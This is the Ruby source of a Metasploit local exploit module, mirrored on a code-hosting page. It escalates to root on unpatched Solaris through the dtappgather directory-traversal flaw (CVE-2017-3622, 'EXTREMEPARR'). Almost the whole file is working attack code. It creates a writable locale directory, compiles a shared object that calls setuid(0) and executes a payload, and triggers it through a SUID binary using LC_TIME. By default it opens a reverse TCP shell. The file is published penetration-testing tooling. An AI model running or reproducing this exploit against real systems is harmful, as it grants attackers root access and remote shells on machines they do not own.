Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Solaris::Priv10include Msf::Post::Solaris::System11include Msf::Post::Solaris::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(update_info(info,18'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",19'Description' => %q{20This module exploits a directory traversal vulnerability in the21`dtappgather` executable included with Common Desktop Environment (CDE)22on unpatched Solaris systems prior to Solaris 10u11 which allows users23to gain root privileges.2425dtappgather allows users to create a user-owned directory at any26location on the filesystem using the `DTUSERSESSION` environment27variable.2829This module creates a directory in `/usr/lib/locale`, writes a shared30object to the directory, and runs the specified SUID binary with the31shared object loaded using the `LC_TIME` environment variable.3233This module has been tested successfully on:3435Solaris 9u7 (09/04) (x86);36Solaris 10u1 (01/06) (x86);37Solaris 10u2 (06/06) (x86);38Solaris 10u4 (08/07) (x86);39Solaris 10u8 (10/09) (x86);40Solaris 10u9 (09/10) (x86).41},42'References' =>43[44['BID', '97774'],45['CVE', '2017-3622'],46['EDB', '41871'],47['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],48['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']49],50'Notes' => {51'Stability' => [CRASH_SAFE],52'SideEffects' => [],53'Reliability' => [],54'AKA' => ['EXTREMEPARR'] },55'License' => MSF_LICENSE,56'Author' =>57[58'Shadow Brokers', # exploit59'Hacker Fantastic', # dtappgather-poc.sh60'bcoles' # Metasploit61],62'DisclosureDate' => '2017-04-24',63'Privileged' => true,64'Platform' => ['solaris', 'unix'],65'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],66'Targets' => [['Auto', {}]],67'SessionTypes' => ['shell', 'meterpreter'],68'DefaultOptions' =>69{70'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',71'WfsDelay' => 10,72'PrependFork' => true73},74'DefaultTarget' => 0))75register_options [76# Some useful example SUID executables:77# * /usr/bin/at78# * /usr/bin/cancel79# * /usr/bin/chkey80# * /usr/bin/lp81# * /usr/bin/lpset82# * /usr/bin/lpstat83# * /usr/lib/lp/bin/netpr84# * /usr/sbin/lpmove85OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),86OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])87]88register_advanced_options [89OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])90]91end9293def suid_bin_path94datastore['SUID_PATH']95end9697def dtappgather_path98datastore['DTAPPGATHER_PATH']99end100101def mkdir(path)102vprint_status "Creating directory '#{path}'"103cmd_exec "mkdir -p '#{path}'"104register_dir_for_cleanup path105end106107def upload(path, data)108print_status "Writing '#{path}' (#{data.size} bytes) ..."109rm_f path110write_file path, data111register_file_for_cleanup path112end113114def upload_and_compile(path, data)115upload "#{path}.c", data116117output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"118unless output.blank?119print_error output120fail_with Failure::Unknown, "#{path}.c failed to compile"121end122123register_file_for_cleanup path124end125126def symlink(link_target, link_name)127vprint_status "Symlinking #{link_target} to #{link_name}"128rm_f link_name129cmd_exec "ln -sf #{link_target} #{link_name}"130register_file_for_cleanup link_name131end132133def check134[dtappgather_path, suid_bin_path].each do |path|135unless setuid? path136vprint_error "#{path} is not setuid"137return CheckCode::Safe138end139vprint_good "#{path} is setuid"140end141142unless has_gcc?143vprint_error 'gcc is not installed'144return CheckCode::Safe145end146vprint_good 'gcc is installed'147148version = kernel_release149if version.to_s.eql? ''150vprint_error 'Could not determine Solaris version'151return CheckCode::Detected152end153154unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')155vprint_error "Solaris version #{version} is not vulnerable"156return CheckCode::Safe157end158vprint_good "Solaris version #{version} appears to be vulnerable"159160CheckCode::Appears161end162163def exploit164if is_root?165fail_with Failure::BadConfig, 'Session already has root privileges'166end167168unless writable? datastore['WritableDir']169fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"170end171172# Remove appmanager directory and contents173appmanager_path = '/var/dt/appconfig/appmanager'174vprint_status "Cleaning appmanager directory #{appmanager_path}"175cmd_exec "chmod -R 755 #{appmanager_path}/*"176cmd_exec "rm -rf #{appmanager_path}/*"177rm_f appmanager_path178179# Create writable directory in /usr/lib/locale180locale_path = '/usr/lib/locale'181locale_name = rand_text_alphanumeric 5..10182new_dir = "#{locale_path}/#{locale_name}"183vprint_status "Creating directory #{new_dir}"184depth = 3185cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"186depth.times do187cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"188end189symlink locale_path, appmanager_path190cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"191unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name192fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"193end194195print_good "Created directory #{new_dir}"196register_dir_for_cleanup new_dir197198rm_f appmanager_path199cmd_exec "chmod 755 #{new_dir}"200201# Upload and compile shared object202base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"203mkdir base_path204205payload_name = ".#{rand_text_alphanumeric 5..10}"206payload_path = "#{base_path}/#{payload_name}"207208so = <<-EOF209void __attribute__((constructor)) cons() {210setuid(0);211setgid(0);212execle("#{payload_path}", "", 0, 0);213_exit(0);214}215EOF216217so_name = ".#{rand_text_alphanumeric 5..10}"218so_path = "#{base_path}/#{so_name}"219upload_and_compile so_path, so220221vprint_status "Writing shared objects to #{new_dir}"222cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"223register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"224cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"225register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"226227# Upload and execute payload228upload payload_path, generate_payload_exe229cmd_exec "chmod +x #{payload_path}"230231print_status 'Executing payload...'232cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "233end234end235236237